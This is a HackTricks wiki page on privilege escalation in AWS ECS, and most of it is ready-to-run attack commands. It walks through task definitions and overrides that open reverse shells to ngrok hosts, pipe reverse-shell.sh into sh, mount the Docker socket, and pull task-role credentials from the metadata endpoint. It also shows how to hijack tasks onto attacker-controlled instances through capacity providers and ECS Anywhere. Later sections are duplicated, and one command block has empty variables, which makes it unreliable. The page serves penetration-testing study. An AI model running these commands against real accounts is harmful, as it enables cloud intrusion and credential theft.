AWS - ECS Privesc

Reading time: 17 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

ECS

More info about ECS in:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

An attacker abusing the iam:PassRole, ecs:RegisterTaskDefinition and ecs:RunTask permission in ECS can generate a new task definition with a malicious container that steals the metadata credentials and run it.

bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
    --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
    --network-mode "awsvpc" \
    --cpu 256 --memory 512\
    --requires-compatibilities "[\"FARGATE\"]" \
    --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
    --cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
    --launch-type FARGATE \
    --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potential Impact: Direct privesc to a different ECS role.

iam:PassRole,ecs:RunTask

An attacker that has iam:PassRole and ecs:RunTask permissions can start a new ECS task with modified execution role, task role and container's command values. The ecs run-task CLI command contains the --overrides flag which allows changing at runtime the executionRoleArn, taskRoleArn and container's command without touching the task definition.

The specified IAM roles for taskRoleArn and executionRoleArn must trust/allow to be assumed by the ecs-tasks.amazonaws.com in its trust policy.

Also, the attacker needs to know:

  • ECS cluster name
  • VPC Subnet
  • Security group (If no security group is specified the default one will be used)
  • Task Definition Name and revision
  • Name of the Container
bash
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
  "taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
  "containerOverrides": [
    {
      "name": <container-name>,
      "command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
    }
  ]
}'

In the code snippet above an attacker overrides only taskRoleArn value. However, the attacker must have iam:PassRole permission over the taskRoleArn specified in the command and the executionRoleArn specified in the task definition for the attack to happen.

If the IAM role that the attacker can pass has enough privileges to pull to ECR image and start the ECS task (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer,ecr:BatchGetImage,ecr:GetAuthorizationToken) then the attacker can specify the same IAM role for both executionRoleArn and taskRoleArn in the ecs run-task command.

sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
  "taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
  "executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
  "containerOverrides": [
    {
      "name": "<container-name>",
      "command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
        }
  ]
}'

Potential Impact: Direct privesc to any ECS task role.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Just like in the previous example an attacker abusing the iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask permissions in ECS can generate a new task definition with a malicious container that steals the metadata credentials and run it.
However, in this case, a container instance to run the malicious task definition need to be.

bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
    --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
    --network-mode "awsvpc" \
    --cpu 256 --memory 512\
    --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
    --container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potential Impact: Direct privesc to any ECS role.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Just like in the previous example an attacker abusing the iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService or ecs:CreateService permissions in ECS can generate a new task definition with a malicious container that steals the metadata credentials and run it by creating a new service with at least 1 task running.

bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
    --task-role-arn  "$ECS_ROLE_ARN" \
    --network-mode "awsvpc" \
    --cpu 256 --memory 512\
    --requires-compatibilities "[\"FARGATE\"]" \
    --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
    --task-definition iam_exfiltration \
    --desired-count 1 \
    --cluster "$CLUSTER_ARN" \
    --launch-type FARGATE \
    --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
    --service <SERVICE NAME> \
    --task-definition <NEW TASK DEFINITION NAME>

Potential Impact: Direct privesc to any ECS role.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

Actually, just with those permissions it's possible to use overrides to executer arbitrary commands in a container with an arbitrary role with something like:

bash
aws ecs run-task \
    --task-definition "<task-name>" \
    --overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
    --cluster <cluster-name> \
    --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Potential Impact: Direct privesc to any ECS role.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

This scenario is like the previous ones but without the iam:PassRole permission.
This is still interesting because if you can run an arbitrary container, even if it's without a role, you could run a privileged container to escape to the node and steal the EC2 IAM role and the other ECS containers roles running in the node.
You could even force other tasks to run inside the EC2 instance you compromise to steal their credentials (as discussed in the Privesc to node section).

warning

This attack is only possible if the ECS cluster is using EC2 instances and not Fargate.

bash
printf '[
    {
        "name":"exfil_creds",
        "image":"python:latest",
        "entryPoint":["sh", "-c"],
        "command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
        "mountPoints": [
            {
                "readOnly": false,
                "containerPath": "/var/run/docker.sock",
                "sourceVolume": "docker-socket"
            }
        ]
    }
]' > /tmp/task.json

printf '[
    {
        "name": "docker-socket",
        "host": {
            "sourcePath": "/var/run/docker.sock"
        }
    }
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
    --cpu 256 --memory 512 \
    --requires-compatibilities '["EC2"]' \
    --container-definitions file:///tmp/task.json \
    --volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
    --cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
    --launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

An attacker with the ecs:ExecuteCommand, ecs:DescribeTasks can execute commands inside a running container and exfiltrate the IAM role attached to it (you need the describe permissions because it's necessary to run aws ecs execute-command).
However, in order to do that, the container instance need to be running the ExecuteCommand agent (which by default isn't).

Therefore, the attacker cloud try to:

  • Try to run a command in every running container
bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
   echo "Cluster $cluster"
   for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
      echo "  Task $task"
      # If true, it's your lucky day
      aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
   done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
   --command "sh" \
   --cluster "$CLUSTER_ARN" \
   --task "$TASK_ARN"
  • If he has ecs:RunTask, run a task with aws ecs run-task --enable-execute-command [...]
  • If he has ecs:StartTask, run a task with aws ecs start-task --enable-execute-command [...]
  • If he has ecs:CreateService, create a service with aws ecs create-service --enable-execute-command [...]
  • If he has ecs:UpdateService, update a service with aws ecs update-service --enable-execute-command [...]

You can find examples of those options in previous ECS privesc sections.

Potential Impact: Privesc to a different role attached to containers.

ssm:StartSession

Check in the ssm privesc page how you can abuse this permission to privesc to ECS:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Check in the ec2 privesc page how you can abuse these permissions to privesc to ECS:

AWS - EC2 Privesc

ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole

An attacker with these permissions could potentially register an EC2 instance in an ECS cluster and run tasks on it. This could allow the attacker to execute arbitrary code within the context of the ECS tasks.

  • TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

note

TODO: Test this

An attacker with the permissions ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, and ecs:DescribeTaskSets can create a malicious task set for an existing ECS service and update the primary task set. This allows the attacker to execute arbitrary code within the service.

bash
# Register a task definition with a reverse shell
echo '{
  "family": "malicious-task",
  "containerDefinitions": [
    {
      "name": "malicious-container",
      "image": "alpine",
      "command": [
        "sh",
        "-c",
        "apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
      ]
    }
  ]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Potential Impact: Execute arbitrary code in the affected service, potentially impacting its functionality or exfiltrating sensitive data.

References

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

An attacker with permissions to manage ECS capacity providers and update services can create an EC2 Auto Scaling Group they control, wrap it in an ECS Capacity Provider, associate it to the target cluster, and migrate a victim service to use this provider. Tasks will then be scheduled onto attacker-controlled EC2 instances, allowing OS-level access to inspect containers and steal task role credentials.

Commands (us-east-1):

  • Prereqs

  • Create Launch Template for ECS agent to join target cluster

  • Create Auto Scaling Group

  • Create Capacity Provider from the ASG

  • Associate the Capacity Provider to the cluster (optionally as default)

  • Migrate a service to your provider

  • Verify tasks land on attacker instances

  • Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.

  • Cleanup

Potential Impact: Attacker-controlled EC2 nodes receive victim tasks, enabling OS-level access to containers and theft of task IAM role credentials.

Step-by-step commands (copy/paste)
export AWS_DEFAULT_REGION=us-east-1
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
# Instance profile for ECS nodes
aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true

VPC=vpc-18e6ac62 SUBNETS=

AMI=ami-0b570770164588ab4 USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo= LT_ID=

ASG_ARN=

CP_NAME=htcp-8797 aws ecs create-capacity-provider --name --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED" aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers --default-capacity-provider-strategy capacityProvider=,weight=1

SVC=

Task definition must be EC2-compatible (not Fargate-only)

aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment

TASK= CI= aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text

Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration

Abuse ECS Anywhere to register an attacker-controlled host as an EXTERNAL container instance in a victim ECS cluster and run tasks on that host using privileged task and execution roles. This grants OS-level control over where tasks run (your own machine) and allows credential/data theft from tasks and attached volumes without touching capacity providers or ASGs.

  • Required perms (example minimal):

    • ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
    • ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
    • iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
    • logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)
  • Impact: Run arbitrary containers with chosen taskRoleArn on attacker host; exfiltrate task-role credentials from 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; access any volumes mounted by tasks; stealthier than manipulating capacity providers/ASGs.

Steps

  1. Create/identify cluster (us-east-1)
bash
aws ecs create-cluster --cluster-name ht-ecs-anywhere
  1. Create ECS Anywhere role and SSM activation (for on-prem/EXTERNAL instance)
bash
aws iam create-role --role-name ecsAnywhereRole \
  --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
  1. Provision attacker host and auto-register it as EXTERNAL (example: small AL2 EC2 as “on‑prem”)
user-data.sh
bash
#!/bin/bash
set -euxo pipefail
amazon-linux-extras enable docker || true
yum install -y docker curl jq
systemctl enable --now docker
curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh"
chmod +x /root/ecs-anywhere-install.sh
/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1
bash
AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text)
IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
  --user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
aws ec2 wait instance-status-ok --instance-ids $IID
  1. Verify EXTERNAL container instance joined
bash
aws ecs list-container-instances --cluster ht-ecs-anywhere
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
  --container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
  1. Create task/execution roles, register EXTERNAL task definition, and run it on the attacker host
bash
# roles
aws iam create-role --role-name ht-ecs-task-exec \
  --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
aws iam create-role --role-name ht-ecs-task-role \
  --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
# attach any privileges you want to abuse to this task role

# task def (EXTERNAL launch)
cat > td-external.json << 'JSON'
{
  "family": "ht-external",
  "requiresCompatibilities": [ "EXTERNAL" ],
  "networkMode": "bridge",
  "memory": "256",
  "cpu": "128",
  "executionRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-exec",
  "taskRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-role",
  "containerDefinitions": [
    {"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
     "entryPoint":["/bin/sh","-c"],
     "command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"],
     "memory": 128,
     "logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}}
    }
  ]
}
JSON
aws logs create-log-group --log-group-name /ht/ecs/anywhere || true
aws ecs register-task-definition --cli-input-json file://td-external.json
CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text)
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
  --container-instances $CI
  1. From here you control the host that runs the tasks. You can read task logs (if awslogs) or directly exec on the host to exfiltrate credentials/data from your tasks.

Command example (placeholders)

Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

An attacker with permissions to manage ECS capacity providers and update services can create an EC2 Auto Scaling Group they control, wrap it in an ECS Capacity Provider, associate it to the target cluster, and migrate a victim service to use this provider. Tasks will then be scheduled onto attacker-controlled EC2 instances, allowing OS-level access to inspect containers and steal task role credentials.

Commands (us-east-1):

  • Prereqs

  • Create Launch Template for ECS agent to join target cluster

  • Create Auto Scaling Group

  • Create Capacity Provider from the ASG

  • Associate the Capacity Provider to the cluster (optionally as default)

  • Migrate a service to your provider

  • Verify tasks land on attacker instances

  • Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.

  • Cleanup

Potential Impact: Attacker-controlled EC2 nodes receive victim tasks, enabling OS-level access to containers and theft of task IAM role credentials.